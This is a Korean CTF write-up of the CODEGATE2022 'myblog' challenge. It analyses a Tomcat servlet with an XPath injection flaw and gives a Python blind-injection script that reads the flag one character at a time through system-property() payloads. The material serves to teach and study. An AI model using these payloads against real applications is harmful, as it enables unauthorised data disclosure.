CTF/CODEGATE2022

[Study] CODEGATE2022 myblog Writeup

Vardy 2022. 3. 1. 15:33

주어진 페이지에 접근해보자. 회원가입을 하고 로그인하면, 글을 작성하고 읽을 수 있는 기능이 구현되어있다.

 

주어진 소스코드를 분석해보자. /usr/local/tomcat/conf/catalina.properties

### Dockerfile

FROM ubuntu:20.04

RUN apt-get -y update && apt-get -y install software-properties-common

RUN apt-get install -y openjdk-11-jdk

RUN apt-get -y install wget
RUN mkdir /usr/local/tomcat
RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
RUN cd /tmp && tar xvfz tomcat.tar.gz
RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
RUN rm -rf /tmp/* && rm -rf /usr/local/tomcat/webapps/

COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/

COPY start.sh /start.sh
RUN chmod +x /start.sh

RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties

CMD ["/start.sh"]

우선 flag는 /usr/local/tomcat/conf/catalina.properties 에 저장되어있음을 알 수 있다.

 

핵심 기능인 blogServlet.class 를 디컴파일 하여 분석해보자. 작성한 글을 읽는 로직에서 별다른 제한 없이 xpath injection이 발생함을 확인 할 수 있다.

...

private String[] doReadArticle(HttpServletRequest req) {
        String id = (String) req.getSession().getAttribute("id");
        String idx = req.getParameter("idx");
        if ("null".equals(id) || idx == null) {
            return null;
        }
        try {
            Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir + "/article/", id + ".xml"))));
            XPath xpath = XPathFactory.newInstance().newXPath();
            return new String[]{decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING)).trim()), decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING)).trim())};
        } catch (Exception e) {
            System.out.println(e.getMessage());
            return null;
        }
    }
    
...

 

하지만 xpath 구문을 통해 /usr/local/tomcat/conf/catalina.properties 파일을 읽을 수 있어야 했다. 

doc() 라는 메소드가 있는 듯 했으나 .xml 파일만을 읽을 수 있는 듯 했다.

 

xpath의 Function에 대해 공부하다가 아래 페이지에서 system-property() 라는 기능이 존재함을 확인 할 수 있었다.

https://developer.mozilla.org/ko/docs/Web/XPath/Functions

 

Functions - XPath | MDN

The MDN Web Docs site provides information about Open Web technologies including HTML, CSS, and APIs for both Web sites and progressive web apps.

developer.mozilla.org

 

자세히 살펴보면 property의 key를 호출하면 value를 반환해주는 함수이다.

https://developer.mozilla.org/ko/docs/Web/XPath/Functions/system-property

 

system-property - XPath | MDN

system-property 함수는 인수로 준 시스템 속성을 나타내는 개체를 반환합니다.

developer.mozilla.org

또한, 플래그가 기록되어있는 catalina.properties 파일은 system property로 구분되어있다는 내용을 확인했다.

https://stackoverflow.com/questions/9520987/tomcat-7-where-do-i-set-system-properties

 

Tomcat 7 - where do I set 'system properties'?

My webapp is having an issue since upgrading to Tomcat 7. My session will go null after I login and try to do anything (submitting a request). I've read that setting the following may help: org.ap...

stackoverflow.com

 

이를 통해 SQL injection 구문과 유사하게 exploit 코드를 작성하면 플래그를 획득 할 수 있다.

import requests
import string

flag=""
a=string.printable
a=a[:-38] + "{}" ### 플래그에 사용되는 문자열 범위 정의
cookies = {'JSESSIONID':'7CA4A5EA649AD76697B627016392FC28'} ## 로그인 후 발급받은 세션 적용
for i in range(1,60):
    for j in a:
        url="http://3.39.79.180/blog/read?idx=' or substring(system-property('flag'),"+str(i)+',1)="'+str(j)+'" or \''
        ### property의 flag의 값을 a에서 정의한 문자열들의 요소와 일치하는지 한글자씩 읽어 비교 
        res=requests.get(url,cookies=cookies)
        res = res.text
        if "test" in res: ### 유효하면 작성글의 내용인 test가 출력값으로 나타남
            flag+=j
            break
        else: pass
print(flag)

FLAG = codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}

반응형